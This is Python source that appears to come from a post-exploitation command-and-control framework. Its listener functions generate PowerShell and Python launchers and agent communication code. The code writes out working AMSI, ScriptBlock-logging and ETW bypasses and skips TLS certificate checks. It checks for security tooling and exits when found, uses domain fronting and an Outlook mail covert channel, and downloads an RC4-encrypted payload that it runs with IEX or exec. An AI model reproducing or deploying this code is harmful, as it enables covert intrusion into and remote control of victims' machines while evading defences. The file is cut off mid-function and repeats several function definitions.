def generate_comms(self, listenerOptions, language=None):
"""
Generate just the agent communication code block needed for communications with this listener.
This is so agents can easily be dynamically updated for the new listener.
"""
if language:
if language.lower() == 'powershell':
updateServers = """
$Script:ControlServers = @("%s");
$Script:ServerIndex = 0;
""" % (listenerOptions['Host']['Value'])
getTask = """
$script:GetTask = {
try {
if ($Script:ControlServers[$Script:ServerIndex].StartsWith("http")) {
# meta 'TASKING_REQUEST' : 4
$RoutingPacket = New-RoutingPacket -EncData $Null -Meta 4
$RoutingCookie = [Convert]::ToBase64String($RoutingPacket)
# build the web request object
$""" + helpers.generate_random_script_var_name(
"wc"
) + """ = New-Object System.Net.WebClient
# set the proxy settings for the WC to be the default system settings
$""" + helpers.generate_random_script_var_name(
"wc"
) + """.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
$""" + helpers.generate_random_script_var_name(
"wc"
) + """.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
$""" + helpers.generate_random_script_var_name(
"wc"
) + """.Headers.Add("User-Agent",$script:UserAgent)
$script:Headers.GetEnumerator() | % {$""" + helpers.generate_random_script_var_name(
"wc"
) + """.Headers.Add($_.Name, $_.Value)}
$""" + helpers.generate_random_script_var_name(
"wc"
) + """.Headers.Add("Cookie", "session=$RoutingCookie")
# choose a random valid URI for checkin
$taskURI = $script:TaskURIs | Get-Random
$result = $""" + helpers.generate_random_script_var_name(
"wc"
) + """.DownloadData($Script:ControlServers[$Script:ServerIndex] + $taskURI)
$result
}
}
catch [Net.WebException] {
$script:MissedCheckins += 1
if ($_.Exception.GetBaseException().Response.statuscode -eq 401) {
# restart key negotiation
Start-Negotiate -S "$ser" -SK $SK -UA $ua
}
}
}
"""
sendMessage = """
$script:SendMessage = {
param($Packets)
if($Packets) {
# build and encrypt the response packet
$EncBytes = Encrypt-Bytes $Packets
# build the top level RC4 "routing packet"
# meta 'RESULT_POST' : 5
$RoutingPacket = New-RoutingPacket -EncData $EncBytes -Meta 5
if($Script:ControlServers[$Script:ServerIndex].StartsWith('http')) {
# build the web request object
$""" + helpers.generate_random_script_var_name(
"wc"
) + """ = New-Object System.Net.WebClient
# set the proxy settings for the WC to be the default system settings
$""" + helpers.generate_random_script_var_name(
"wc"
) + """.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
$""" + helpers.generate_random_script_var_name(
"wc"
) + """.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
$""" + helpers.generate_random_script_var_name(
"wc"
) + """.Headers.Add('User-Agent', $Script:UserAgent)
$Script:Headers.GetEnumerator() | ForEach-Object {$""" + helpers.generate_random_script_var_name(
"wc"
) + """.Headers.Add($_.Name, $_.Value)}
try{
# get a random posting URI
$taskURI = $Script:TaskURIs | Get-Random
$response = $""" + helpers.generate_random_script_var_name(
"wc"
) + """.UploadData($Script:ControlServers[$Script:ServerIndex]+$taskURI, 'POST', $RoutingPacket);
}
catch [System.Net.WebException]{
# exception posting data...
if ($_.Exception.GetBaseException().Response.statuscode -eq 401) {
# restart key negotiation
Start-Negotiate -S "$ser" -SK $SK -UA $ua
}
}
}
}
}
"""
return updateServers + getTask + sendMessage
elif language.lower() == 'python':
updateServers = "server = '%s'\n" % (
listenerOptions['Host']['Value'])
sendMessage = """
def send_message(packets=None):
# Requests a tasking or posts data to a randomized tasking URI.
# If packets == None, the agent GETs a tasking from the control server.
# If packets != None, the agent encrypts the passed packets and
# POSTs the data to the control server.
global missedCheckins
global server
global headers
global taskURIs
data = None
if packets:
data = ''.join(packets)
# aes_encrypt_then_hmac is in stager.py
encData = aes_encrypt_then_hmac(key, data)
data = build_routing_packet(stagingKey, sessionID, meta=5, encData=encData)
else:
# if we're GETing taskings, then build the routing packet to stuff info a cookie first.
# meta TASKING_REQUEST = 4
routingPacket = build_routing_packet(stagingKey, sessionID, meta=4)
b64routingPacket = base64.b64encode(routingPacket)
headers['Cookie'] = "session=%s" % (b64routingPacket)
taskURI = random.sample(taskURIs, 1)[0]
requestUri = server + taskURI
try:
data = (urllib2.urlopen(urllib2.Request(requestUri, data, headers))).read()
return ('200', data)
except urllib2.HTTPError as HTTPError:
# if the server is reached, but returns an erro (like 404)
missedCheckins = missedCheckins + 1
#if signaled for restaging, exit.
if HTTPError.code == 401:
sys.exit(0)
except urllib2.URLError as URLerror:
# if the server cannot be reached
missedCheckins = missedCheckins + 1
return (URLerror.reason, '')
return ('', '')
"""
return updateServers + sendMessage
else:
print(
helpers.color(
"[!] listeners/http_hop generate_comms(): invalid language specification, only 'powershell' and 'python' are current supported for this module."
))
else:
print(
helpers.color(
'[!] listeners/http_hop generate_comms(): no language specified!'
))
def generate_launcher(self,
encode=True,
obfuscate=False,
obfuscationCommand="",
userAgent='default',
proxy='default',
proxyCreds='default',
stagerRetries='0',
language=None,
safeChecks='',
listenerName=None,
scriptLogBypass=True,
AMSIBypass=True,
AMSIBypass2=False,
ETWBypass=False):
"""
Generate a basic launcher for the specified listener.
"""
if not language:
print(
helpers.color(
'[!] listeners/http_hop generate_launcher(): no language specified!'
))
if listenerName and (listenerName
in self.mainMenu.listeners.activeListeners):
# extract the set options for this instantiated listener
listenerOptions = self.mainMenu.listeners.activeListeners[
listenerName]['options']
host = listenerOptions['Host']['Value']
launcher = listenerOptions['Launcher']['Value']
stagingKey = listenerOptions['RedirectStagingKey']['Value']
profile = listenerOptions['DefaultProfile']['Value']
uris = [a for a in profile.split('|')[0].split(',')]
stage0 = random.choice(uris)
if language.startswith('po'):
# PowerShell
stager = '$ErrorActionPreference = \"SilentlyContinue\";'
if safeChecks.lower() == 'true':
stager = helpers.randomize_capitalization(
"If($PSVersionTable.PSVersion.Major -ge 3){")
# ScriptBlock Logging bypass
if scriptLogBypass:
stager += bypasses.scriptBlockLogBypass()
if ETWBypass:
stager += bypasses.ETWBypass()
# @mattifestation's AMSI bypass
if AMSIBypass:
stager += bypasses.AMSIBypass()
# rastamouse AMSI bypass
if AMSIBypass2:
stager += bypasses.AMSIBypass2()
stager += "};"
stager += helpers.randomize_capitalization(
"[System.Net.ServicePointManager]::Expect100Continue=0;"
)
stager += helpers.randomize_capitalization(
"$" + helpers.generate_random_script_var_name("wc") +
"=New-Object System.Net.WebClient;")
if userAgent.lower() == 'default':
userAgent = profile.split('|')[1]
stager += "$u='" + userAgent + "';"
if 'https' in host:
# allow for self-signed certificates for https connections
stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};"
if userAgent.lower() != 'none' or proxy.lower() != 'none':
if userAgent.lower() != 'none':
stager += helpers.randomize_capitalization(
'$' +
helpers.generate_random_script_var_name("wc") +
'.Headers.Add(')
stager += "'User-Agent',$u);"
if proxy.lower() != 'none':
if proxy.lower() == 'default':
stager += helpers.randomize_capitalization(
"$" +
helpers.generate_random_script_var_name("wc") +
".Proxy=[System.Net.WebRequest]::DefaultWebProxy;"
)
else:
# TODO: implement form for other proxy
stager += helpers.randomize_capitalization(
"$proxy=New-Object Net.WebProxy;")
stager += helpers.randomize_capitalization(
"$proxy.Address = '" + proxy.lower() + "';")
stager += helpers.randomize_capitalization(
"$" +
helpers.generate_random_script_var_name("wc") +
".Proxy = $proxy;")
if proxyCreds.lower() == "default":
stager += helpers.randomize_capitalization(
"$" +
helpers.generate_random_script_var_name("wc") +
".Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;"
)
else:
# TODO: implement form for other proxy credentials
username = proxyCreds.split(':')[0]
password = proxyCreds.split(':')[1]
domain = username.split('\\')[0]
usr = username.split('\\')[1]
stager += "$netcred = New-Object System.Net.NetworkCredential('" + usr + "','" + password + "','" + domain + "');"
stager += helpers.randomize_capitalization(
"$" +
helpers.generate_random_script_var_name("wc") +
".Proxy.Credentials = $netcred;")
# TODO: reimplement stager retries?
# code to turn the key string into a byte array
stager += helpers.randomize_capitalization(
"$K=[System.Text.Encoding]::ASCII.GetBytes(")
stager += "'%s');" % (stagingKey)
# this is the minimized RC4 stager code from rc4.ps1
stager += helpers.randomize_capitalization(
'$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};'
)
# prebuild the request routing packet for the launcher
routingPacket = packets.build_routing_packet(
stagingKey,
sessionID='00000000',
language='POWERSHELL',
meta='STAGE0',
additional='None',
encData='')
b64RoutingPacket = base64.b64encode(routingPacket).decode(
"UTF-8")
# add the RC4 packet to a cookie
stager += helpers.randomize_capitalization(
"$" + helpers.generate_random_script_var_name("wc") +
".Headers.Add(")
stager += "\"Cookie\",\"session=%s\");" % (b64RoutingPacket)
stager += "$ser=%s;$t='%s';$hop='%s';" % (
helpers.obfuscate_call_home_address(host), stage0,
listenerName)
stager += helpers.randomize_capitalization(
"$data=$" + helpers.generate_random_script_var_name("wc") +
".DownloadData($ser+$t);")
stager += helpers.randomize_capitalization(
"$iv=$data[0..3];$data=$data[4..$data.length];")
# decode everything and kick it over to IEX to kick off execution
stager += helpers.randomize_capitalization(
"-join[Char[]](& $R $data ($IV+$K))|IEX")
if obfuscate:
stager = helpers.obfuscate(
self.mainMenu.installPath,
stager,
obfuscationCommand=obfuscationCommand)
# base64 encode the stager and return it
if encode and ((not obfuscate) or
("launcher" not in obfuscationCommand.lower())):
return helpers.powershell_launcher(stager, launcher)
else:
# otherwise return the case-randomized stager
return stager
if language.startswith('py'):
# Python
launcherBase = 'import sys;'
if 'https' in host:
# monkey patch ssl woohooo
launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n"
try:
if safeChecks.lower() == 'true':
launcherBase += "import re, subprocess;"
launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n"
launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n"
launcherBase += "out, err = ps.communicate()\n"
launcherBase += "if re.search(\"Little Snitch\", out):\n"
launcherBase += " sys.exit()\n"
except Exception as e:
p = "[!] Error setting LittleSnitch in stagger: " + str(e)
print(helpers.color(p, color='red'))
if userAgent.lower() == 'default':
userAgent = profile.split('|')[1]
launcherBase += "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener();"
launcherBase += "UA='%s';" % (userAgent)
launcherBase += "server='%s';t='%s';" % (host, stage0)
# prebuild the request routing packet for the launcher
routingPacket = packets.build_routing_packet(
stagingKey,
sessionID='00000000',
language='PYTHON',
meta='STAGE0',
additional='None',
encData='')
b64RoutingPacket = base64.b64encode(routingPacket).decode(
"UTF-8")
launcherBase += "import urllib2\n"
if proxy.lower() != "none":
if proxy.lower() == "default":
launcherBase += "proxy = urllib2.ProxyHandler();\n"
else:
proto = proxy.Split(':')[0]
launcherBase += "proxy = urllib2.ProxyHandler({'" + proto + "':'" + proxy + "'});\n"
if proxyCreds != "none":
if proxyCreds == "default":
launcherBase += "o = urllib2.build_opener(proxy);\n"
else:
launcherBase += "proxy_auth_handler = urllib2.ProxyBasicAuthHandler();\n"
username = proxyCreds.split(':')[0]
password = proxyCreds.split(':')[1]
launcherBase += "proxy_auth_handler.add_password(None,'" + proxy + "','" + username + "','" + password + "');\n"
launcherBase += "o = urllib2.build_opener(proxy, proxy_auth_handler);\n"
else:
launcherBase += "o = urllib2.build_opener(proxy);\n"
else:
launcherBase += "o = urllib2.build_opener();\n"
# add the RC4 packet to a cookie
launcherBase += "o.addheaders=[('User-Agent',UA), (\"Cookie\", \"session=%s\")];\n" % (
b64RoutingPacket)
#install proxy and creds globally, so they can be used with urlopen.
launcherBase += "urllib2.install_opener(o);\n"
# download the stager and extract the IV
launcherBase += "a=o.open(server+t).read();"
launcherBase += "IV=a[0:4];"
launcherBase += "data=a[4:];"
launcherBase += "key=IV+'%s';" % (stagingKey)
# RC4 decryption
launcherBase += "S,j,out=range(256),0,[]\n"
launcherBase += "for i in range(256):\n"
launcherBase += " j=(j+S[i]+ord(key[i%len(key)]))%256\n"
launcherBase += " S[i],S[j]=S[j],S[i]\n"
launcherBase += "i=j=0\n"
launcherBase += "for char in data:\n"
launcherBase += " i=(i+1)%256\n"
launcherBase += " j=(j+S[i])%256\n"
launcherBase += " S[i],S[j]=S[j],S[i]\n"
launcherBase += " out.append(chr(ord(char)^S[(S[i]+S[j])%256]))\n"
launcherBase += "exec(''.join(out))"
if encode:
launchEncoded = base64.b64encode(launcherBase).decode(
"UTF-8")
launcher = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python3 &" % (
launchEncoded)
return launcher
else:
return launcherBase
else:
print(
helpers.color(
"[!] listeners/http_hop generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module."
))
else:
print(
helpers.color(
"[!] listeners/http_hop generate_launcher(): invalid listener name specification!"
))
def generate_launcher(self,
encode=True,
obfuscate=False,
obfuscationCommand="",
userAgent='default',
proxy='default',
proxyCreds='default',
stagerRetries='0',
language=None,
safeChecks='',
listenerName=None,
scriptLogBypass=True,
AMSIBypass=True,
AMSIBypass2=False,
ETWBypass=False):
"""
Generate a basic launcher for the specified listener.
"""
if not language:
print(
helpers.color(
'[!] listeners/http_com generate_launcher(): no language specified!'
))
if listenerName and (listenerName in self.threads) and (
listenerName in self.mainMenu.listeners.activeListeners):
# extract the set options for this instantiated listener
listenerOptions = self.mainMenu.listeners.activeListeners[
listenerName]['options']
host = listenerOptions['Host']['Value']
launcher = listenerOptions['Launcher']['Value']
stagingKey = listenerOptions['StagingKey']['Value']
profile = listenerOptions['DefaultProfile']['Value']
requestHeader = listenerOptions['RequestHeader']['Value']
uris = [a for a in profile.split('|')[0].split(',')]
stage0 = random.choice(uris)
customHeaders = profile.split('|')[2:]
if language.startswith('po'):
# PowerShell
stager = '$ErrorActionPreference = \"SilentlyContinue\";'
if safeChecks.lower() == 'true':
stager = helpers.randomize_capitalization(
"If($PSVersionTable.PSVersion.Major -ge 3){")
# ScriptBlock Logging bypass
if scriptLogBypass:
stager += bypasses.scriptBlockLogBypass()
if ETWBypass:
stager += bypasses.ETWBypass()
# @mattifestation's AMSI bypass
if AMSIBypass:
stager += bypasses.AMSIBypass()
# rastamouse AMSI bypass
if AMSIBypass2:
stager += bypasses.AMSIBypass2()
stager += "};"
stager += helpers.randomize_capitalization(
"[System.Net.ServicePointManager]::Expect100Continue=0;"
)
# TODO: reimplement stager retries?
# check if we're using IPv6
listenerOptions = copy.deepcopy(listenerOptions)
bindIP = listenerOptions['BindIP']['Value']
port = listenerOptions['Port']['Value']
if ':' in bindIP:
if "http" in host:
if "https" in host:
host = 'https://' + '[' + str(
bindIP) + ']' + ":" + str(port)
else:
host = 'http://' + '[' + str(
bindIP) + ']' + ":" + str(port)
# code to turn the key string into a byte array
stager += helpers.randomize_capitalization(
"$" + helpers.generate_random_script_var_name("K") +
"=[System.Text.Encoding]::ASCII.GetBytes(")
stager += "'%s');" % (stagingKey)
# this is the minimized RC4 stager code from rc4.ps1
stager += helpers.randomize_capitalization(
'$R={$D,$' + helpers.generate_random_script_var_name("K") +
'=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$' +
helpers.generate_random_script_var_name("K") + '[$_%$' +
helpers.generate_random_script_var_name("K") +
'.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};'
)
# prebuild the request routing packet for the launcher
routingPacket = packets.build_routing_packet(
stagingKey,
sessionID='00000000',
language='POWERSHELL',
meta='STAGE0',
additional='None',
encData='')
b64RoutingPacket = base64.b64encode(routingPacket)
stager += "$ie=New-Object -COM InternetExplorer.Application;$ie.Silent=$True;$ie.visible=$False;$fl=14;"
stager += "$ser=" + helpers.obfuscate_call_home_address(
host) + ";$t='" + stage0 + "';"
# add the RC4 packet to a header location
stager += "$c=\"%s: %s" % (requestHeader, b64RoutingPacket)
# Add custom headers if any
modifyHost = False
if customHeaders != []:
for header in customHeaders:
headerKey = header.split(':')[0]
headerValue = header.split(':')[1]
if headerKey.lower() == "host":
modifyHost = True
stager += "`r`n%s: %s" % (headerKey, headerValue)
stager += "\";"
# If host header defined, assume domain fronting is in use and add a call to the base URL first
# this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello
if modifyHost:
stager += helpers.randomize_capitalization(
"$ie.navigate2($ser,$fl,0,$Null,$Null);while($ie.busy){Start-Sleep -Milliseconds 100};"
)
stager += "$ie.navigate2($ser+$t,$fl,0,$Null,$c);"
stager += "while($ie.busy){Start-Sleep -Milliseconds 100};"
stager += "$ht = $ie.document.GetType().InvokeMember('body', [System.Reflection.BindingFlags]::GetProperty, $Null, $ie.document, $Null).InnerHtml;"
stager += "try {$data=[System.Convert]::FromBase64String($ht)} catch {$Null}"
stager += helpers.randomize_capitalization(
"$iv=$data[0..3];$data=$data[4..$data.length];")
# decode everything and kick it over to IEX to kick off execution
stager += helpers.randomize_capitalization(
"-join[Char[]](& $R $data ($IV+$" +
helpers.generate_random_script_var_name("K") + ")) | IEX")
if obfuscate:
stager = helpers.obfuscate(
self.mainMenu.installPath,
stager,
obfuscationCommand=obfuscationCommand)
# base64 encode the stager and return it
if encode and ((not obfuscate) or
("launcher" not in obfuscationCommand.lower())):
return helpers.powershell_launcher(stager, launcher)
else:
# otherwise return the case-randomized stager
return stager
else:
print(
helpers.color(
"[!] listeners/http_com generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module."
))
else:
print(
helpers.color(
"[!] listeners/http_com generate_launcher(): invalid listener name specification!"
))
def generate_comms(self, listenerOptions, language=None):
"""
Generate just the agent communication code block needed for communications with this listener.
This is so agents can easily be dynamically updated for the new listener.
"""
if language:
if language.lower() == 'powershell':
updateServers = """
$Script:ControlServers = @("%s");
$Script:ServerIndex = 0;
""" % (listenerOptions['Host']['Value'])
getTask = """
$script:GetTask = {
try {
# meta 'TASKING_REQUEST' : 4
$RoutingPacket = New-RoutingPacket -EncData $Null -Meta 4;
$RoutingCookie = [Convert]::ToBase64String($RoutingPacket);
# choose a random valid URI for checkin
$taskURI = $script:TaskURIs | Get-Random;
$mail = $""" + helpers.generate_random_script_var_name(
"GPF") + """.CreateItem(0);
$mail.Subject = "mailpireout";
$mail.Body = "GET - "+$RoutingCookie+" - "+$taskURI;
$mail.save() | out-null;
$mail.Move($fld)| out-null;
# keep checking to see if there is response
$break = $False;
[byte[]]$b = @();
While ($break -ne $True){
foreach ($item in $fld.Items) {
if($item.Subject -eq "mailpirein"){
$item.HTMLBody | out-null;
if($item.Body[$item.Body.Length-1] -ne '-'){
$traw = $item.Body;
$item.Delete();
$break = $True;
$b = [System.Convert]::FromBase64String($traw);
}
}
}
Start-Sleep -s 1;
}
return ,$b
}
catch {
}
while(($fldel.Items | measure | %{$_.Count}) -gt 0 ){ $fldel.Items | %{$_.delete()};}
}
"""
sendMessage = """
$script:SendMessage = {
param($Packets)
if($Packets) {
# build and encrypt the response packet
$EncBytes = Encrypt-Bytes $Packets;
# build the top level RC4 "routing packet"
# meta 'RESULT_POST' : 5
$RoutingPacket = New-RoutingPacket -EncData $EncBytes -Meta 5;
# $RoutingPacketp = [System.BitConverter]::ToString($RoutingPacket);
$RoutingPacketp = [Convert]::ToBase64String($RoutingPacket)
try {
# get a random posting URI
$taskURI = $Script:TaskURIs | Get-Random;
$mail = $""" + helpers.generate_random_script_var_name(
"GPF") + """.CreateItem(0);
$mail.Subject = "mailpireout";
$mail.Body = "POSTM - "+$taskURI +" - "+$RoutingPacketp;
$mail.save() | out-null;
$mail.Move($fld) | out-null;
}
catch {
}
while(($fldel.Items | measure | %{$_.Count}) -gt 0 ){ $fldel.Items | %{$_.delete()};}
}
}
"""
return updateServers + getTask + sendMessage
else:
print(
helpers.color(
"[!] listeners/http_mapi generate_comms(): invalid language specification, only 'powershell' is currently supported for this module."
))
else:
print(
helpers.color(
'[!] listeners/http_mapi generate_comms(): no language specified!'
))
def generate_launcher(self,
encode=True,
obfuscate=False,
obfuscationCommand="",
userAgent='default',
proxy='default',
proxyCreds='default',
stagerRetries='0',
language=None,
safeChecks='',
listenerName=None,
scriptLogBypass=True,
AMSIBypass=True,
AMSIBypass2=False):
"""
Generate a basic launcher for the specified listener.
"""
if not language:
print(
helpers.color(
'[!] listeners/http generate_launcher(): no language specified!'
))
if listenerName and (listenerName in self.threads) and (
listenerName in self.mainMenu.listeners.activeListeners):
# extract the set options for this instantiated listener
listenerOptions = self.mainMenu.listeners.activeListeners[
listenerName]['options']
host = listenerOptions['Host']['Value']
stagingKey = listenerOptions['StagingKey']['Value']
profile = listenerOptions['DefaultProfile']['Value']
uris = [a for a in profile.split('|')[0].split(',')]
stage0 = random.choice(uris)
if language.startswith('po'):
# PowerShell
stager = '$ErrorActionPreference = \"SilentlyContinue\";'
if safeChecks.lower() == 'true':
stager = helpers.randomize_capitalization(
"If($PSVersionTable.PSVersion.Major -ge 3){")
# ScriptBlock Logging bypass
if scriptLogBypass:
stager += bypasses.scriptBlockLogBypass()
# @mattifestation's AMSI bypass
if AMSIBypass:
stager += bypasses.AMSIBypass()
# rastamouse AMSI bypass
if AMSIBypass2:
stager += bypasses.AMSIBypass2()
stager += "};"
stager += helpers.randomize_capitalization(
'Add-Type -assembly "Microsoft.Office.Interop.Outlook";'
)
stager += "$" + helpers.generate_random_script_var_name(
"GPF"
) + " = New-Object -comobject Outlook.Application;"
stager += helpers.randomize_capitalization(
'$mapi = $' +
helpers.generate_random_script_var_name("GPF") +
'.GetNameSpace("')
stager += 'MAPI");'
if listenerOptions['Email']['Value'] != '':
stager += '$fld = $' + helpers.generate_random_script_var_name(
"GPF"
) + '.Session.Folders | Where-Object {$_.Name -eq "' + listenerOptions[
'Email'][
'Value'] + '"} | %{$_.Folders.Item(2).Folders.Item("' + listenerOptions[
'Folder']['Value'] + '")};'
stager += '$fldel = $' + helpers.generate_random_script_var_name(
"GPF"
) + '.Session.Folders | Where-Object {$_.Name -eq "' + listenerOptions[
'Email']['Value'] + '"} | %{$_.Folders.Item(3)};'
else:
stager += '$fld = $' + helpers.generate_random_script_var_name(
"GPF"
) + '.Session.GetDefaultFolder(6).Folders.Item("' + listenerOptions[
'Folder']['Value'] + '");'
stager += '$fldel = $' + helpers.generate_random_script_var_name(
"GPF") + '.Session.GetDefaultFolder(3);'
# clear out all existing mails/messages
stager += helpers.randomize_capitalization(
"while(($fld.Items | measure | %{$_.Count}) -gt 0 ){ $fld.Items | %{$_.delete()};}"
)
# code to turn the key string into a byte array
stager += helpers.randomize_capitalization(
"$K=[System.Text.Encoding]::ASCII.GetBytes(")
stager += "'%s');" % (stagingKey)
# this is the minimized RC4 stager code from rc4.ps1
stager += helpers.randomize_capitalization(
'$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};'
)
# prebuild the request routing packet for the launcher
routingPacket = packets.build_routing_packet(
stagingKey,
sessionID='00000000',
language='POWERSHELL',
meta='STAGE0',
additional='None',
encData='')
b64RoutingPacket = base64.b64encode(routingPacket)
# add the RC4 packet to a cookie
stager += helpers.randomize_capitalization(
'$mail = $' +
helpers.generate_random_script_var_name("GPF") +
'.CreateItem(0);$mail.Subject = "')
stager += 'mailpireout";'
stager += helpers.randomize_capitalization('$mail.Body = ')
stager += '"STAGE - %s"' % b64RoutingPacket
stager += helpers.randomize_capitalization(
';$mail.save() | out-null;')
stager += helpers.randomize_capitalization(
'$mail.Move($fld)| out-null;')
stager += helpers.randomize_capitalization(
'$break = $False; $data = "";')
stager += helpers.randomize_capitalization(
"While ($break -ne $True){")
stager += helpers.randomize_capitalization(
'$fld.Items | Where-Object {$_.Subject -eq "mailpirein"} | %{$_.HTMLBody | out-null} ;'
)
stager += helpers.randomize_capitalization(
'$fld.Items | Where-Object {$_.Subject -eq "mailpirein" -and $_.DownloadState -eq 1} | %{$break=$True; $data=[System.Convert]::FromBase64String($_.Body);$_.Delete();};}'
)
stager += helpers.randomize_capitalization(
"$iv=$data[0..3];$data=$data[4..$data.length];")
# decode everything and kick it over to IEX to kick off execution
stager += helpers.randomize_capitalization(
"-join[Char[]](& $R $data ($IV+$K))|IEX")
if obfuscate:
stager = helpers.obfuscate(
self.mainMenu.installPath,
stager,
obfuscationCommand=obfuscationCommand)
# base64 encode the stager and return it
if encode and ((not obfuscate) or
("launcher" not in obfuscationCommand.lower())):
return helpers.powershell_launcher(stager, launcher)
else:
# otherwise return the case-randomized stager
return stager
else:
print(
helpers.color(
"[!] listeners/http_mapi generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module."
))
else:
print(
helpers.color(
"[!] listeners/http_mapi generate_launcher(): invalid listener name specification!"
))
def generate_launcher(self,
encode=True,
obfuscate=False,
obfuscationCommand="",
userAgent='default',
proxy='default',
proxyCreds='default',
stagerRetries='0',
language=None,
safeChecks='',
listenerName=None):
"""
Generate a basic launcher for the specified listener.
"""
if not language:
print helpers.color(
'[!] listeners/template generate_launcher(): no language specified!'
)
return None
if listenerName and (listenerName
in self.mainMenu.listeners.activeListeners):
# extract the set options for this instantiated listener
listenerOptions = self.mainMenu.listeners.activeListeners[
listenerName]['options']
host = listenerOptions['Host']['Value']
launcher = listenerOptions['Launcher']['Value']
stagingKey = listenerOptions['StagingKey']['Value']
profile = listenerOptions['DefaultProfile']['Value']
uris = [a for a in profile.split('|')[0].split(',')]
stage0 = random.choice(uris)
customHeaders = profile.split('|')[2:]
if language.startswith('po'):
# PowerShell
stager = '$ErrorActionPreference = \"SilentlyContinue\";'
if safeChecks.lower() == 'true':
stager = helpers.randomize_capitalization(
"If($PSVersionTable.PSVersion.Major -ge 3){")
# ScriptBlock Logging bypass
stager += helpers.randomize_capitalization(
"$" + helpers.generate_random_script_var_name("GPS") +
"=[ref].Assembly.GetType(")
stager += "'System.Management.Automation.Utils'"
stager += helpers.randomize_capitalization(
").\"GetFie`ld\"(")
stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(
").GetValue($null);If($" +
helpers.generate_random_script_var_name("GPS") + "")
stager += "['ScriptB'+'lockLogging']"
stager += helpers.randomize_capitalization(
"){$" +
helpers.generate_random_script_var_name("GPS") + "")
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;"
stager += helpers.randomize_capitalization(
"$" + helpers.generate_random_script_var_name("GPS") +
"")
stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}"
stager += helpers.randomize_capitalization(
"Else{[ScriptBlock].\"GetFie`ld\"(")
stager += "'signatures','N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(
").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}"
)
# @mattifestation's AMSI bypass
stager += helpers.randomize_capitalization(
"$Ref=[Ref].Assembly.GetType(")
stager += "'System.Management.Automation.Ams'+'iUtils'"
stager += helpers.randomize_capitalization(
');$Ref.GetField(')
stager += "'am'+'siInitFailed','NonPu'+'blic,Static'"
stager += helpers.randomize_capitalization(
").SetValue($null,$true);")
stager += "};"
stager += helpers.randomize_capitalization(
"[System.Net.ServicePointManager]::Expect100Continue=0;"
)
stager += helpers.randomize_capitalization(
"$" + helpers.generate_random_script_var_name("wc") +
"=New-Object System.Net.WebClient;")
if userAgent.lower() == 'default':
profile = listenerOptions['DefaultProfile']['Value']
userAgent = profile.split('|')[1]
stager += "$u='" + userAgent + "';"
if 'https' in host:
# allow for self-signed certificates for https connections
stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};"
if userAgent.lower() != 'none' or proxy.lower() != 'none':
if userAgent.lower() != 'none':
stager += helpers.randomize_capitalization(
'$' +
helpers.generate_random_script_var_name("wc") +
'.Headers.Add(')
stager += "'User-Agent',$u);"
if proxy.lower() != 'none':
if proxy.lower() == 'default':
stager += helpers.randomize_capitalization(
"$" +
helpers.generate_random_script_var_name("wc") +
".Proxy=[System.Net.WebRequest]::DefaultWebProxy;"
)
else:
# TODO: implement form for other proxy
stager += helpers.randomize_capitalization(
"$proxy=New-Object Net.WebProxy('" +
proxy.lower() + "');")
stager += helpers.randomize_capitalization(
"$" +
helpers.generate_random_script_var_name("wc") +
".Proxy = $proxy;")
if proxyCreds.lower() == "default":
stager += helpers.randomize_capitalization(
"$" +
helpers.generate_random_script_var_name("wc") +
".Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;"
)
else:
# TODO: implement form for other proxy credentials
username = proxyCreds.split(':')[0]
password = proxyCreds.split(':')[1]
if len(username.split('\\')) > 1:
usr = username.split('\\')[1]
domain = username.split('\\')[0]
stager += "$netcred = New-Object System.Net.NetworkCredential('" + usr + "','" + password + "','" + domain + "');"
else:
usr = username.split('\\')[0]
stager += "$netcred = New-Object System.Net.NetworkCredential('" + usr + "','" + password + "');"
stager += helpers.randomize_capitalization(
"$" +
helpers.generate_random_script_var_name("wc") +
".Proxy.Credentials = $netcred;")
#save the proxy settings to use during the entire staging process and the agent
stager += "$Script:Proxy = $" + helpers.generate_random_script_var_name(
"wc") + ".Proxy;"
# TODO: reimplement stager retries?
#check if we're using IPv6
listenerOptions = copy.deepcopy(listenerOptions)
bindIP = listenerOptions['BindIP']['Value']
port = listenerOptions['Port']['Value']
if ':' in bindIP:
if "http" in host:
if "https" in host:
host = 'https://' + '[' + str(
